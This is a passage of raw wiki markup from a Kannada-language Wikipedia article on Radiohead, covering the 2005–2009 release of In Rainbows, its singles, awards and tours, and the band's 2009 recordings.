ವಿರಮಿಸಿದರು ಹಾಗೂ ತಮ್ಮ ಒಂಟಿ ಯೋಜನೆಗಳಲ್ಲಿ ಕೆಲಸ ಮಾಡಿದರು.<ref name="HERE">{{citation | last=O'Brien | first=Ed | title=Here we go | work=[[Dead Air Space]] | publisher=Radiohead | date=2005-08-21 | url=http://www.radiohead.com/deadairspace/index.php?a=65 | accessdate=2007-12-23 | archive-date=2011-08-27 | archive-url=https://www.webcitation.org/61FtEOl3j?url=http://www.radiohead.com/deadairspace/050821/here-we-go | url-status=dead }}</ref>'' ''' === ''ಇನ್‌ ರೇನ್ಬೊಸ್‌'' ಹಾಗೂ ಸ್ವತಂತ್ರ ರಚನೆಗಳು (2005–2009) === [[ಚಿತ್ರ:Thom Yorke.jpg|thumb|upright|right|ಇಸವಿ 2006ರಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ನೊಂದಿಗೆ ಗೋಷ್ಠಿಯಲ್ಲಿ ಯಾರ್ಕ್‌]] ರೇಡಿಯೊಹೆಡ್‌ ಫೆಬ್ರವರಿ 2005ರಲ್ಲಿ ತನ್ನ ಏಳನೆಯ ಆಲ್ಬಮ್‌ ರಚನೆ ಆರಂಭಿಸಿತು.<ref name="HERE"/> ''[[Help!: A Day in the Life|ಹೆಲ್ಪ್‌: ಎ ಡೇ ಇನ್‌ ದಿ ಲೈಫ್]]'' ‌ ಎಂಬ [[ವಾರ್‌ ಚೈಲ್ಡ್‌]] ಸಹಾಯಾರ್ಥ ಆಲ್ಬಮ್‌ಗಾಗಿ ತಂಡವು 'ಐ ವಾಂಟ್‌ ನನ್‌ ಆಫ್ ದಿಸ್‌' ಎಂಬ ಪಿಯಾನೊ-ಆಧಾರಿತ ಹಾಡಿನ ಧ್ವನಿಮುದ್ರಣವನ್ನು ಸೆಪ್ಟೆಂಬರ್‌ 2005ರಲ್ಲಿ ನಡೆಸಿತು. ಈ ಅಲ್ಬಮ್‌ನ್ನು ಆನ್‌ಲೈನ್‌ (ಅಂತರಜಾಲದ ಮೂಲಕ) ಮಾರಾಟ ಮಾಡಲಾಯಿತು. ಇದರಲ್ಲಿ 'ಐ ವಾಂಟ್‌ ನನ್‌ ಆಫ್‌ ದಿಸ್‌' ಏಕಗೀತೆಯಾಗಿ ಬಿಡುಗಡೆಯಾಗದಿದ್ದರೂ, ಅತಿ ಹೆಚ್ಚು ಡೌನ್ಲೋಡ್‌ ಆದ ಹಾಡಾಗಿತ್ತು.<ref> {{citation | url=http://news.bbc.co.uk/1/hi/entertainment/music/4238542.stm | title=Rush to download War Child album | date=2005-09-12 | accessdate = 2007-10-19 | newspaper=[[BBC News]] }}</ref> ಈಗಾಗಲೇ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡವು ಸ್ವತಂತ್ರವಾಗಿ ತನ್ನ ಮುಂದಿನ ಆಲ್ಬಮ್‌ನ ಧ್ವನಿಮುದ್ರಣವನ್ನು ಆರಂಭಿಸಿತ್ತು, ಆನಂತರ ನಿರ್ಮಾಪಕ [[ಮಾರ್ಕ್‌ ಸ್ಟೆಂಟ್‌]]ರ ಸಹಯೋಗದೊಂದಿಗೆ ತನ್ನ ಕಾರ್ಯ ನಡೆಸಿತ್ತು. ಆದರೂ, ಯುರೋಪ್‌ ಹಾಗೂ ಉತ್ತರ ಅಮೆರಿಕಾ ಪ್ರವಾಸ ನಡೆಸಿ, 13 ಹಾಡುಗಳನ್ನು ಮೊದಲ ಬಾರಿಗೆ ನುಡಿಸಿದ ನಂತರ, ಬ್ಯಾಂಡ್ 2006ರ ಅಪರಾರ್ಧದಲ್ಲಿ, ನೈಗೆಲ್‌ ಗಾಡ್ರಿಚ್‌ರೊಂದಿಗೆ ಲಂಡನ್‌, ಆಕ್ಸ್ಫರ್ಡ್‌ ಹಾಗೂ (ಇಂಗ್ಲೆಂಡ್‌ನ) [[ಸಮರ್ಸೆಟ್‌]] (ಕೌಂಟಿಯ) ಹಲವು ಗ್ರಾಮಾಂತರ ಸ್ಥಳದಲ್ಲಿ ತನ್ನ ಕಾರ್ಯ ಮುಂದುವರೆಸಿತು.<ref> {{citation | title = Radiohead: Exclusive Interview | accessdate = 2007-10-21 | last = Marshall | first = Julian | date = 2007-10-02 | newspaper = [[NME]] }}</ref> ಸಂಗೀತ ರಚನಾ ಕಾರ್ಯವು ಜೂನ್‌ 2007ರಲ್ಲಿ ಸಂಪೂರ್ಣಗೊಂಡು, ಮುಂದಿನ ತಿಂಗಳು ಇವುಗಳ ಧ್ವನಿಮುದ್ರಣದ ಮಾಸ್ಟರಿಂಗ್‌ ನಡೆಯಿತು.<ref> {{citation | url = http://www.nme.com/news/radiohead/29715 | title = Radiohead mastering seventh album in New York | date = 2007-07-16 | newspaper = [[NME]] }}</ref> ''[[ಇನ್‌ ರೇನ್ಬೊಸ್‌]]'' ಎಂಬ ರೇಡಿಯೊಹೆಡ್‌ರ ಏಳನೆಯ ಆಲ್ಬಮ್‌ನ್ನು ವಾದ್ಯತಂಡವು 10 ಅಕ್ಟೋಬರ್‌ 2007ರಂದು ತನ್ನ ಸ್ವಂತ ಅಂತರಜಾಲತಾಣದಲ್ಲಿ [[ಡಿಜಿಟಲ್‌ ಡೌನ್ಲೋಡ್‌]] ಮೂಲಕ ಬಿಡುಗಡೆಗೊಳಿಸಿತು. ಇದಕ್ಕೆ ಗ್ರಾಹಕರು ತಮಗಿಷ್ಟವಾದಂತೆ ಹಣ ಪಾವತಿಸಬಹುದು. ಹಣ ಪಾವತಿಸದೆಯೂ ಇರಬಹುದು ಜಾಲತಾಣದ ಏಕೈಕ ಸಲಹೆ, 'ನಿಮಗೆ ಬಿಟ್ಟದ್ದು' ಎಂದಾಗಿತ್ತು.<ref>{{citation |last=Tyrangiel |first=Josh |title=Radiohead Says: Pay What You Want |journal=Time Magazine |date=2007-10-01 |accessdate=2009-01-11 |url=http://www.time.com/time/arts/article/0,8599,1666973,00.html |archive-date=2013-08-24 |archive-url=https://web.archive.org/web/20130824175427/http://www.time.com/time/arts/article/0,8599,1666973,00.html |url-status=dead }}</ref> ರೇಡಿಯೊಹೆಡ್‌ ವಾದ್ಯತಂಡವು ಈ ಅನಿರೀಕ್ಷಿತ ಘೋಷಣೆಯನ್ನು ಹತ್ತು ದಿನಗಳ ಮುಂಚೆಯೇ ನೀಡಿದ ಕಾರಣ, ಈ ಅಸಾಮಾನ್ಯ ತಂತ್ರವು ಸಂಗೀತ ಕ್ಷೇತ್ರ ಮತ್ತು ಅದರಾಚೆಗೂ ಬಹಳಷ್ಟು ಗಮನ ಸೆಳೆಯಿತು.<ref name="WIRED"> {{citation | last=Byrne | first =David | newspaper=[[Wired (magazine)|Wired]] | date=2007-11-18 | title =David Byrne and Thom Yorke on the Real Value of Music | url=https://www.wired.com/entertainment/music/magazine/16-01/ff_yorke?currentPage=all | accessdate = 2008-01-06 }}</ref> ಬಿಡುಗಡೆಯ ದಿನದೊಳಗೆ, 1.2 ದಶಲಕ್ಷ ಡೌನ್ಲೋಡ್‌ಗಳ‌ ಮೂಲಕ ಹಾಡುಗಳು ಮಾರಾಟವಾಗಿದ್ದವು. ಆದರೆ ವಾದ್ಯತಂಡದ ವ್ಯವಸ್ಥಾಪಕ ವೃಂದವು ಅಧಿಕೃತ ಮಾರಾಟ ಅಂಕಿಅಂಶಗಳನ್ನು ಬಿಡುಗಡೆಗೊಳಿಸಲಿಲ್ಲ. 'ಅಂತರಜಾಲ-ಮೂಲಕ-ಮಾತ್ರ' ವಿತರಣೆಯು, ತಮ್ಮ ಆಲ್ಬಮ್‌ನ ನಂತರದ ಚಿಲ್ಲರೆ ಮಾರಾಟವನ್ನು ಹೆಚ್ಚಿಸುವ ಉದ್ದೇಶ ಎಂದು ಸ್ಪಷ್ಟಪಡಿಸಿತು.<ref name="JOHNSON"> {{citation | last=Edgecliffe-Johnson | first =Andrew | newspaper=[[Financial Times]] | date=2007-10-11 | title =Radiohead MP3 release a tactic to lift CD sales }}</ref>‌ ಇಸವಿ 2007ರ ಅಪರಾರ್ಧದಲ್ಲಿ, ಧ್ವನಿಮುದ್ರಣಾ ಅವಧಿಗಳಿಂದ ಎರಡನೆಯ ಡಿಸ್ಕ್‌ ,ಸೇರಿದಂತೆ ಆಲ್ಬಮ್‌ನ ವಿನೈಲ್‌ ಮತ್ತು CD ಆವೃತ್ತಿಗಳು, ಹಾಗೂ ಚಿತ್ರಕೃತಿಗಳಿರುವ ಗಟ್ಟಿರಟ್ಟಿನ ಪುಸ್ತಕ - ಇವೆಲ್ಲವನ್ನೂ ಹೊಂದಿರುವ 'ಡಿಸ್ಕ್‌ಬಾಕ್ಸ್'‌ನ್ನು ಮಾರಾಟ ಮಾಡಿ, ರವಾನಿಸಲಾಯಿತು.<ref name="INRAINBOWSYHOO">{{citation | last = Grossberg | first = Josh | title = Fans Shortchanging Radiohead's Rainbows? | newspaper = [[Yahoo! News]] | url = https://music.yahoo.com/read/news/51355968 | date = 2007-11-06 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ''ಇನ್‌ ರೇನ್ಬೊಸ್‌'' ಆಲ್ಬಮ್‌ನ್ನು UKಯಲ್ಲಿ [[XL ರೆಕಾರ್ಡಿಂಗ್ಸ್‌]] ಮೂಲಕ ಡಿಸೆಂಬರ್‌‌ 2007ರ ಅಪರಾರ್ಧದಲ್ಲಿ, ಉತ್ತರ ಅಮೆರಿಕಾದಲ್ಲಿ [[TBD ರೆಕಾರ್ಡ್ಸ್‌]] ಮೂಲಕ ಜನವರಿ 2008ರಲ್ಲಿ ಬಿಡುಗಡೆಗೊಳಿಸಲಾಯಿತು.<ref name="INRAINBOWSYHOO"/> UK ಮತ್ತು US ಎರಡೂ ದೇಶಗಳಲ್ಲಿ ಸಂಗೀತ ಪಟ್ಟಿಗಳಲ್ಲಿ ಅಗ್ರಸ್ಥಾನ ಗಳಿಸಿತು.<ref>{{citation | last=Griffiths | first=Peter | title=Radiohead top album chart | newspaper=Reuters | url=http://uk.reuters.com/article/domesticNews/idUKL063195120080106 | date=2008-01-06 | accessdate = 2008-01-07 }}</ref><ref>{{citation | last=Cohen | first=Jonathan | title=Radiohead Nudges Blige From Atop Album Chart | newspaper=Billboard | url=http://www.billboard.com/bbcom/news/article_display.jsp?vnu_content_id=1003694375 | date=2008-01-09 | accessdate=2008-01-09 | archive-date=2008-02-12 | archive-url=https://web.archive.org/web/20080212015339/http://www.billboard.com/bbcom/news/article_display.jsp?vnu_content_id=1003694375 | url-status=bot: unknown }}</ref> USನಲ್ಲಿ ಈ ಆಲ್ಬಮ್‌ನ ಯಶಸ್ಸು, ಆ ದೇಶದಲ್ಲಿ ''ಕಿಡ್‌ ಎ'' ನಂತರ ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ಅತ್ಯುನ್ನತ ಯಶಸ್ಸಾಗಿತ್ತು. ಆ ಸಮಯದಲ್ಲಿ ತಂಡದ ಐದನೆಯ ಹಾಗೂ UKಯ ಅಗ್ರಸ್ಥಾನದ ಆಲ್ಬಂ. ಆಲ್ಬಮ್‌ನ ಮೊದಲ ಏಕಗೀತೆ [[ಜಿಗ್ಸಾ ಫಾಲಿಂಗ್‌ ಇಂಟು ಪ್ಲೇಸ್‌]] ಜನವರಿ 2008ರಲ್ಲಿ UKಯಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು.<ref> {{citation | title=Radiohead's 'In Rainbows' to be released on CD this year | date=2007-11-08 | newspaper=[[NME]] | url =http://www.nme.com/news/radiohead/32393 | accessdate = 2007-11-19 }}</ref> ಈ ಆಲ್ಬಮ್‌ನ ಎರಡನೆಯ ಏಕಗೀತೆ '[[ನ್ಯೂಡ್]]'‌, [[ಬಿಲ್ಬೋರ್ಡ್‌ ಹಾಟ್‌ 100|''ಬಿಲ್ಬೋರ್ಡ್‌'' ಹಾಟ್‌ 100]] ಪಟ್ಟಿಯಲ್ಲಿ 37ನೆಯ ಸ್ಥಾನದೊಂದಿಗೆ ಆರಂಭಿಸಿತು. ಇಸವಿ 1995ರ 'ಹೈ ಅಂಡ್ ಡ್ರೈ' ಈಚೆಗೆ ಪಟ್ಟಿಯಲ್ಲಿ ಸ್ಥಾನ ಪಡೆದ ರೇಡಿಯೊಹೆಡ್ ಮೊದಲ ಗೀತೆ ಹಾಗೂ, 'ಕ್ರೀಪ್‌' ನಂತರ ಇದು USನಲ್ಲಿನ ಮೊದಲ ಟಾಪ್‌ 40 ಹಿಟ್ ಆಗಿತ್ತು. ‌<ref name="BILL"/> EMI ಧ್ವನಿಮುದ್ರಣಾ ಕಂಪೆನಿಯು ಜೂನ್‌ 2008ರಲ್ಲಿ ''[[Radiohead: The Best Of]]'' ಶೀರ್ಷಿಕೆಯ [[ಗ್ರೇಟೆಸ್ಟ್‌ ಹಿಟ್ಸ್‌]] ಆಲ್ಬಮ್‌ನ್ನು ಬಿಡುಗಡೆಗೊಳಿಸಿತು.<ref>{{Citation |last= |first= |title=Radiohead to release 'Best Of' compilation |url=http://www.nme.com/news/radiohead/35609 |publisher=NME |date=2008-04-03 |accessdate=2008-04-03}}</ref> ಈ ಸಂಕಲನವು ವಾದ್ಯತಂಡದ ಯಾವುದೇ ಸೂಚನೆ/ಮಾಹಿತಿಯನ್ನು ಒಳಗೊಂಡಿರಲಿಲ್ಲ. ಜೊತೆಗೆ, ಬ್ಯಾಂಡ್ ಈಗಾಗಲೇ ಕಂಪೆನಿಯನ್ನು ತೊರೆದಿದ್ದರಿಂದ ''ಇನ್‌ ರೇನ್ಬೊಸ್‌'' ಆಲ್ಬಮ್‌ನ ಯಾವುದೇ ಹಾಡುಗಳನ್ನು ಹೊಂದಿರಲಿಲ್ಲ.<ref>{{Citation |last=Reynolds |first=Simon |title=Yorke slams Radiohead 'Best Of' LP |url=http://www.digitalspy.co.uk/music/a95605/yorke-slams-radiohead-best-of-lp.html?rss |publisher=Digital Spy |date=2008-05-09 |accessdate=2008-09-27}}</ref> ರೇಡಿಯೊಹೆಡ್‌ ತಂಡವು ''ಇನ್‌ ರೇನ್ಬೊಸ್‌'' ಆಲ್ಬಮ್‌ನ ಹಾಡುಗಳನ್ನು ಏಕಗೀತೆ ಮತ್ತು ವೀಡಿಯೊಗಳ ಮೂಲಕ ಹೊರಡಿಸುವುದನ್ನು ಮುಂದುವರೆಸಿತು. ಜುಲೈ ತಿಂಗಳಲ್ಲಿ '[[ಹೌಸ್‌ ಆಫ್‌ ಕಾರ್ಡ್ಸ್]]‌'ಗಾಗಿ ಡಿಜಿಟಲ್ ರೀತ್ಯಾ ಚಿತ್ರೀಕರಿಸಿದ ವೀಡಿಯೊ ಲಭ್ಯವಾಗಿಸಿತು.<ref>{{Citation |last=Dodson |first=Sean |title=Is Radiohead the latest band to go open source? |url=https://www.theguardian.com/technology/2008/jul/17/opensource.google |publisher=The Guardian |date=2008-07-17 |accessdate=2008-09-27}}</ref> [[ಬಾಡಿಸ್ನ್ಯಾಚರ್ಸ್]]‌ ಒಂದಿಗೆ 'ಹೌಸ್‌ ಆಫ್‌ ಕಾರ್ಡ್ಸ್'‌ ಸಹ ರೇಡಿಯೊ ಮೂಲಕ ಏಕಗೀತೆಯಾಗಿ ಬಿಡುಗಡೆಯಾಯಿತು. ಸೆಪ್ಟೆಂಬರ್‌ ತಿಂಗಳಲ್ಲಿ ವಾದ್ಯತಂಡವು ತನ್ನ ನಾಲ್ಕನೆಯ ಏಕಗೀತೆ '[[ರೆಕಾನರ್‌]]'ನ್ನು ಘೋಷಿಸಿತು. ಜೊತೆಗೆ 'ನ್ಯೂಡ್‌'ಗಾಗಿ ಆಯೋಜಿಸಿದಂತೆ, ಒಂದು [[ರಿಮಿಕ್ಸ್]]‌ ಸ್ಪರ್ಧೆಯನ್ನು ಆಯೋಜಿಸಲಾಯಿತು.<ref>{{Citation |last=Dead Air Space |first= |title=Reckoner remix |url=http://www.radiohead.com/deadairspace/index.php?c=428 |publisher=Radiohead.com |date=2008-09-23 |accessdate=2008-09-27 |archive-date=2008-09-25 |archive-url=https://web.archive.org/web/20080925224636/http://www.radiohead.com/deadairspace/index.php?c=428 |url-status=dead }}</ref> ''ಇನ್‌ ರೇನ್ಬೊಸ್‌'' ಆಲ್ಬಮ್‌ ನಿರೀಕ್ಷೆಗೂ ಮೀರಿದ ಸಕಾರಾತ್ಮಕ ವಿಮರ್ಶೆಗಳನ್ನು ಪಡೆಯಿತು. ಇದು ರೇಡಿಯೊಹೆಡ್‌ ತಂಡದ ವೃತ್ತಿಯಲ್ಲಿಯೇ ಅತ್ಯುತ್ತಮ ವಿಮರ್ಶೆಯಾಗಿತ್ತು. ಇನ್‌ ರೇನ್ಬೊಸ್‌ ಆಲ್ಬಮ್‌ ರೇಡಿಯೊಹೆಡ್‌ನ ಮುಂಚಿನ ಆಲ್ಬಮ್‌ಗಿಂತಲೂ ಇನ್ನಷ್ಟು ಗ್ರಹಿಕೆಯಾಗಬಲ್ಲ ಧ್ವನಿಗಳು ಮತ್ತು ಗೀತೆಗಳ ವೈಯಕ್ತಿಕ ಶೈಲಿಯನ್ನು ಹೊಂದಿದೆ ಎಂದು ವಿಮರ್ಶಕರು ಹೊಗಳಿದರು. ಬಿಡುಗಡೆಯಾದ ಒಂದು ವರ್ಷದೊಳಗೆ ಮೂರು ದಶಲಕ್ಷಕ್ಕೂ ಹೆಚ್ಚು ಪ್ರತಿಗಳು ಮಾರಾಟವಾದವು.<ref name="METARAIN"> {{citation | url=http://www.metacritic.com/music/artists/radiohead/inrainbows | title=Radiohead: In Rainbows (2007): Reviews | accessdate = 2007-11-06 | magazine=[[Metacritic]] }}</ref><ref>{{Citation | last =Kreps | first =Daniel | title =Radiohead Publishers Reveal “In Rainbows” Numbers | newspaper =[[Rolling Stone]] | date =2008-10-15 | url =http://www.rollingstone.com/rockdaily/index.php/2008/10/15/radiohead-publishers-reveal-in-rainbows-numbers/ | accessdate =2008-11-07 | archive-date =2011-08-27 | archive-url =https://www.webcitation.org/61FqPiFnT?url=http://www.rollingstone.com/music/news/radiohead-publishers-reveal-in-rainbows-numbers-20081015 | url-status =dead }}</ref> ಜುಲೈ 2008ರಲ್ಲಿ, ಇನ್‌ ರೇನ್ಬೊಸ್‌ [[ಮರ್ಕ್ಯುರಿ ಮ್ಯೂಸಿಕ್‌ ಪ್ರೈಜ್]]‌ನ ಕಿರುಪಟ್ಟಿಗಾಗಿ ನಾಮನಿರ್ದೇಶನ ಗಳಿಸಿತು.<ref>{{citation|url=http://www.idiomag.com/peek/35718/radiohead|title=Radiohead News - 2008 Mercury Music Prize Nominees Announced|accessdate=2008-09-12|date=2008-07-24|publisher=[[idiomag]]|unused_data=|Radiohead, Adele & Estelle}}</ref> ಇಸವಿ 2009ರ ಗ್ರ್ಯಾಮಿ ಪ್ರಶಸ್ತಿ ಸಮಾರಂಭದಲ್ಲಿ, ವಾದ್ಯತಂಡವು [[ಅತ್ಯುತ್ತಮ ಪರ್ಯಾಯ ಸಂಗೀತ ಆಲ್ಬಮ್‌]] ವರ್ಗದಲ್ಲಿ ಪ್ರಶಸ್ತಿ ಗಳಿಸಿತು. ಅದರ ನಿರ್ಮಾಣ ತಂಡವೂ ಸಹ, ಬೆಸ್ಟ್ ಬಾಕ್ಸಡ್ ಅಥವಾ ಸ್ಪೆಷಲ್ ಲಿಮಿಟೆಡ್ ಎಡಿಷನ್ ಪ್ಯಾಕೇಜ್‌ಗಾಗಿ ಪ್ರಶಸ್ತಿ ಗಳಿಸಿತು. ಇನ್ನೂ ಮೂರು ಇತರೆ ನಾಮನಿರ್ದೇಶನಗಳ ಜೊತೆಗೆ, ವಾದ್ಯತಂಡವು [[ವರ್ಷದ ಆಲ್ಬಮ್‌]]ಗಾಗಿ ಮೂರನೆಯ ನಾಮನಿರ್ದೇಶನ ಪಡೆಯಿತು. ಜೊತೆಗೆ, ಗಾಡ್ರಿಚ್‌ನ ನಿರ್ಮಾಣ ಕಾರ್ಯ ಹಾಗೂ 'ಹೌಸ್‌ ಆಫ್‌ ಕಾರ್ಡ್ಸ್'‌ ವೀಡಿಯೊಗಾಗಿ ನಾಮನಿರ್ದೇಶನಗಳನ್ನು ಪಡೆಯಿತು.<ref>{{Citation |title=Grammy Awards 2009: British artists dominate Los Angeles ceremony |date=2009-02-00 |accessdate=2009-02-11 |source=''[[The Daily Telegraph]]'' |http://www.telegraph.co.uk/culture/music/4566240/Grammy-Awards-2009-British-artists-dominate-Los-Angeles-ceremony.html}}</ref> ಇಸವಿ 2008ರ ಮಧ್ಯದಿಂದ 2009ರ ಆರಂಭದವರೆಗೂ, ''ಇನ್‌ ರೇನ್ಬೊಸ್‌'' ಆಲ್ಬಮ್‌ ಉತ್ತೇಜಿಸಲು ರೇಡಿಯೊಹೆಡ್‌ ತಂಡವು ಉತ್ತರ ಅಮೆರಿಕಾ, ಯುರೋಪ್‌, ಜಪಾನ್‌, ಮೆಕ್ಸಿಕೊ ಹಾಗೂ ದಕ್ಷಿಣ ಅಮೆರಿಕಾದ ಪ್ರವಾಸ ನಡೆಸಿತು. ಆಗಸ್ಟ್‌ 2009ರಲ್ಲಿ ತಂಡವು [[ರೀಡಿಂಗ್‌ ಅಂಡ್‌ ಲೀಡ್ಸ್‌ ಫೆಸ್ಟಿವಲ್‌]] ಎಂಬ ಶೀರ್ಷಿಕೆಯಡಿ ಕಾಣಿಸಿಕೊಂಡಿತು.<ref name="tour"/><ref>[http://www.nme.com/news/readingleeds-festival/43738 "ರೀಡಿಂಗ್‌ ಅಂಡ್‌ ಲೀಡ್ಸ್‌ 2009 ಲೈನ್‌-ಅಪ್‌"]. ''[[NME]]'' . 30 ಮಾರ್ಚ್‌ 2009</ref><ref>{{citation |title=Radiohead, por primera vez en Buenos Aires |url=http://www.lanacion.com.ar/nota.asp?nota_id=1069354 |source=La Nación |publisher=lanacion.com.ar |date=2008-11-13 |accessdate=2009-01-14}}</ref> === 2009 ಮತ್ತು 2010 ಅವಧಿಗಳು (2009ರಿಂದ ಇಂದಿನವರೆಗೆ) === ಮೇ 2009ರಲ್ಲಿ ತಂಡವು ನಿರ್ಮಾಪಕ ನೈಗೆಲ್‌ ಗಾಡ್ರಿಚ್‌ರೊಂದಿಗೆ ಹೊಸ ಧ್ವನಿಮುದ್ರಣಾ ಅವಧಿಗಳನ್ನು ಆರಂಭಿಸಿತು.<ref>{{cite web | author= Lindsay, Andrew | title=Radiohead begin recording new album |date= 2009-05-18 |url=http://stereokill.net/2009/05/18/radiohead-begin-recording-new-album/ | publisher=Stereokill.net | accessdate=2009-05-18 }}</ref> ಕೆಲವು ತಿಂಗಳ ಬಳಿಕ, ಆಗಸ್ಟ್‌ನಲ್ಲಿ ರೇಡಿಯೊಹೆಡ್‌ ಈ ಧ್ವನಿಮುದ್ರಣಾ ಅವಧಿಗಳಿಂದ ಎರಡು ಏಕಗೀತೆಗಳನ್ನು ತಮ್ಮ ಅಂತರಜಾಲತಾಣದ ಮೂಲಕ ಬಿಡುಗಡೆಗೊಳಿಸಿತು. ಮೊದಲಿಗೆ, ಕೆಲ ದಿನಗಳ ಹಿಂದೆ ನಿಧನರಾದ, [[ಮೊದಲನೆಯ ಮಹಾಯುದ್ಧ]]ದಲ್ಲಿ ಹೋರಾಡಿದ ಕೊನೆಯದಾಗಿ ಬದುಕುಳಿದಿದ್ದ ಬ್ರಿಟಿಷ್‌ ಯೋಧ [[ಹ್ಯಾರಿ ಪ್ಯಾಚ್]]‌ರಿಗೆ ಶ್ರದ್ಧಾಂಜಲಿ ಅರ್ಪಿಸಲು '[[ಹ್ಯಾರಿ ಪ್ಯಾಚ್‌ (ಇನ್‌ ಮೆಮೊರಿ ಆಫ್‌)]]'ನ್ನು ಧ್ವನಿಮುದ್ರಣ ಮಾಡಲಾಗಿತ್ತು. ಈ ಹಾಡನ್ನು £1 ಬೆಲೆಗೆ ಮಾರಲಾಗಿ, ಇದರಿಂದ ಬಂದ ಆದಾಯವನ್ನು ಬ್ರಿಟಿಷ್‌ ಲೀಜನ್‌ಗೆ(ಮಾಜಿ ಯೋಧರ ಸಂಘ)ದಾನ ಮಾಡಲಾಯಿತು.<ref>{{cite web|url=http://www.radiohead.com/deadairspace/?a=495|title=Harry Patch (In Memory Of)|publisher=Radiohead.com|accessdate=2009-08-05|archive-date=2013-06-26|archive-url=https://www.webcitation.org/6HemOGFiV?url=http://www.radiohead.com/deadairspace/?a=495|url-status=dead}}</ref><ref>{{cite news|url=https://www.theguardian.com/music/2009/aug/06/radiohead-song-harry-patch|title=Radiohead's farewell to old first world war soldier in song|last=Harris|first=John|date=2009-08-06|work=G2|publisher=The Guardian|accessdate=2009-08-06}}</ref> ತಮ್ಮ ಯುದ್ಧದ ಅನುಭವಗಳ ಕುರಿತು ಸ್ವತಃ ಪ್ಯಾಚ್‌ರ ವೃತ್ತಾಂತಗಳನ್ನು ಅಧರಿಸಿದ ಗೀತೆಯನ್ನು ಥೊಮ್‌ ಯಾರ್ಕ್‌ ರಚಿಸಿ ಹಾಡಿದ್ದಾರೆ. ಇದಕ್ಕೆ ಜಾನಿ ಗ್ರೀನ್ವುಡ್‌ ತಂತಿವಾದ್ಯಮೇಳ ಹಿನ್ನೆಲೆ ಒದಗಿಸಿದ್ದರು. ಅದೇ ತಿಂಗಳಲ್ಲಿ ಇನ್ನೂ ಕೆಲ ದಿನಗಳ ನಂತರ,[[ದೀಸ್‌ ಆರ್‌ ಮೈ ಟ್ವಿಸ್ಟೆಡ್‌ ವರ್ಡ್ಸ್]]‌ ಎಂಬ ಹಾಡು ಉಚಿತ ಡೌನ್ಲೋಡ್‌ ಅಥವಾ ಟೊರೆಂಟ್‌ ಮೂಲಕ ಲಭ್ಯವಾಯಿತು. ಚಿತ್ರಗಳ ಡಿಜಿಟಲ್‌ ಸಂಪುಟವೂ ಸಹ ಇದರಲ್ಲಿ ಸೇರಿಸಲಾಗಿತ್ತು. ವಾದ್ಯತಂಡದ ಇತ್ತೀಚೆಗಿನ ಸ್ಟುಡಿಯೊ ಅವಧಿಗಳ ಮೊದಲ ಕೆಲವು ಹಾಡುಗಳಲ್ಲಿ ಇದೂ ಒಂದಾಗಿತ್ತು; ರೇಡಿಯೊಹೆಡ್‌ನ ''ಇನ್‌ ರೇನ್ಬೊಸ್'' ‌ ಪ್ರವಾಸದ ಅಂತಿಮ ದಿನಾಂಕಗಳಂದು ಆಗಸ್ಟ್‌ ಉತ್ಸವದ ಅಂಗವಾಗಿ ನಡೆಯುವ ಕಾರ್ಯಕ್ರಮಗಳಲ್ಲಿ ಈ ಹಾಡನ್ನು ನುಡಿಸುವ ಸಾಧ್ಯತೆಯಿತ್ತೆಂದು ಎಂದು ಜಾನಿ ಗ್ರೀನ್ವುಡ್‌ ವಿವರಿಸಿದರು.<ref>http://stereokill.net/2009/08/17/radiohead-officially-release-these-are-my-twisted-words/</ref> ರೇಡಿಯೊಹೆಡ್ ತಂಡವು‌ ಪೂರ್ಣಪ್ರಮಾಣದ ಆಲ್ಬಮ್‌ಗಳಿಂದ EPಗಳ ಬಿಡುಗಡೆಯತ್ತ ಗಮನ ಹರಿಸುವ ಇಂಗಿತವಿದೆ; ಇದರಲ್ಲಿ [[ವಾದ್ಯವೃಂದದ ಸಂಗೀತ]]ದ EP ಕೂಡ ಹೊರತರುವ ಸಾಧ್ಯತೆಯಿದೆ ಎಂದು ಯಾರ್ಕ್‌ ಇಸವಿ 2009ರ ಮಧ್ಯದಲ್ಲಿ ''NME'' ಗಾಗಿ ನೀಡಿದ ಸಂದರ್ಶನವೊಂದರಲ್ಲಿ ತಿಳಿಸಿದರು.<ref>{{cite news|url=http://www.nme.com/news/nme/46596|title=Radiohead's Thom Yorke: 'We need to get away from releasing albums'|date=2009-08-10|work=NME.com|accessdate=2009-08-10}}</ref>‌ ಆದರೆ, ವಾದ್ಯತಂಡವು ತನ್ನ ಮುಂದಿನ ಆಲ್ಬಮ್‌‌ ಕುರಿತು ಅವಧಿಯನ್ನು ಜನವರಿ 2010ರಲ್ಲಿ ಆರಂಭಿಸುವುದೆಂದು ಒ'ಬ್ರಿಯೆನ್‌ ಡಿಸೆಂಬರ್‌ 2009ರ ಮಧ್ಯದಲ್ಲಿ ತಂಡದ ಜಾಲತಣದಲ್ಲಿ ನಮೂದಿಸಿದರು. ಅವರು ಹೇಳಿದ ಪ್ರಕಾರ, 'ಸದ್ಯಕ್ಕೆ ನಮ್ಮ ತಂಡದಲ್ಲಿ ಸಂಚಲನ ಬಹಳ ಅದ್ಭುತವಾಗಿದೆ. ನಾವೆಲ್ಲರೂ ಬರುವ ಜನವರಿಯಲ್ಲಿ ಸ್ಟುಡಿಯೊಗೆ ಹೋಗಿ, ಕಳೆದ ಬೇಸಿಗೆಯಲ್ಲಿ ಆರಂಭಿಸಿದ ಕಾರ್ಯವನ್ನು ಮುಂದುವರೆಸುವೆವು... 10 ವರ್ಷಗಳ ಹಿಂದೆ ನಾವೆಲ್ಲರೂ ಒಟ್ಟಿಗೆ (ವಾದ್ಯತಂಡ) ಕಿಡ್‌ ಎ ನೆಲೆಯಲ್ಲಿದ್ದೆವು... ಆ ರೆಕಾರ್ಡ್‌ ಬಗ್ಗೆ ಹೆಮ್ಮೆಪಟ್ಟರೂ, ಅದು ತಮಾಷೆ ಮಾಡುವ ತಾಣವಾಗಿರಲಿಲ್ಲ... ನಾವು ಇಂದು ಖಂಡಿತವಾಗಿ ವಿಭಿನ್ನ ವಾದ್ಯತಂಡವಾಗಿದ್ದೇವೆ ಎಂಬುದು ಭರವಸೆಯ ಸಂಗತಿಯಾಗಿದೆ. ಅದರ ಅರ್ಥ ನಮ್ಮ ಸಂಗೀತವು ಬೇರೆ 